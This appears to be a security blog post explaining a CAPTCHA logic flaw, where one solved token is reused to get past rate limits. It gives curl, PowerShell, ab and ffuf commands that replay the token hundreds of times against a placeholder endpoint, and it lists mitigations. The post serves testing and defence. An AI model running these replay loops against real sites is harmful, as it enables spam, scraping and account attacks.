Listen to this Post
The vulnerability described involves bypassing rate limits by exploiting a CAPTCHA implementation flaw. The target website used CAPTCHA to verify human users and mitigate rate-limiting attacks. However, the attacker solved the CAPTCHA once and reused the same solved token in over 400 requests without the server validating whether the CAPTCHA had been used before.
This falls under Logic Flow Vulnerabilities, where the system only checks if the CAPTCHA solution is correct but fails to verify its freshness or previous usage.
You Should Know:
1. How CAPTCHA Bypass Works
- The attacker solves the CAPTCHA manually or using automation tools.
- Instead of generating a new CAPTCHA for each request, the attacker reuses the same solved token.
- The server validates only the correctness of the CAPTCHA solution but does not track its usage history.
2. Testing for CAPTCHA Logic Flaws
Use Burp Suite Intruder to automate the attack:
Capture a request containing a solved CAPTCHA token
curl -X POST "https://target.com/api/endpoint" -H "Content-Type: application/json" -d '{"captcha":"SOLVED_TOKEN","data":"test"}'
Replay the same CAPTCHA in multiple requests
for i in {1..500}; do
curl -X POST "https://target.com/api/endpoint" -H "Content-Type: application/json" -d '{"captcha":"SOLVED_TOKEN","data":"test'$i'"}'
done
3. Mitigation Techniques
- One-Time-Use CAPTCHA: Invalidate CAPTCHA tokens after a single use.
- Timestamp Validation: Reject CAPTCHA solutions older than a few seconds.
- Rate Limiting Enforcement: Track IP-based request counts regardless of CAPTCHA status.
4. Linux Commands for Rate Limit Testing
Use `ab` (Apache Benchmark) for rate limit testing ab -n 1000 -c 50 "https://target.com/api/endpoint?captcha=SOLVED_TOKEN" Use `ffuf` for fuzzing with CAPTCHA bypass ffuf -w wordlist.txt -u "https://target.com/FUZZ" -H "Captcha: SOLVED_TOKEN"
5. Windows Equivalent (PowerShell)
Send multiple requests with the same CAPTCHA
1..500 | ForEach-Object {
Invoke-WebRequest -Uri "https://target.com/api/endpoint" -Method POST -Body '{"captcha":"SOLVED_TOKEN","data":"test"}'
}
What Undercode Say
This exploit highlights a common oversight in security implementations—assuming CAPTCHA alone is enough to prevent abuse. Developers must enforce multi-layered validation, including request freshness checks and strict rate limiting. Automated tools like Burp Suite and `ffuf` can help test these flaws before attackers do.
Expected Output:
- A successful bypass allowing hundreds of requests with a single CAPTCHA.
- Server logs showing repeated CAPTCHA reuse without rejection.
- Potential account takeover, spam, or data scraping if unprotected.
Prediction
As CAPTCHA bypass techniques evolve, more companies will shift toward behavioral biometrics and AI-driven anomaly detection to replace traditional CAPTCHAs. Expect increased adoption of reCAPTCHA v3 and honeypot fields to mitigate such logic flaws.
References:
Reported By: Youssef Mohamed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
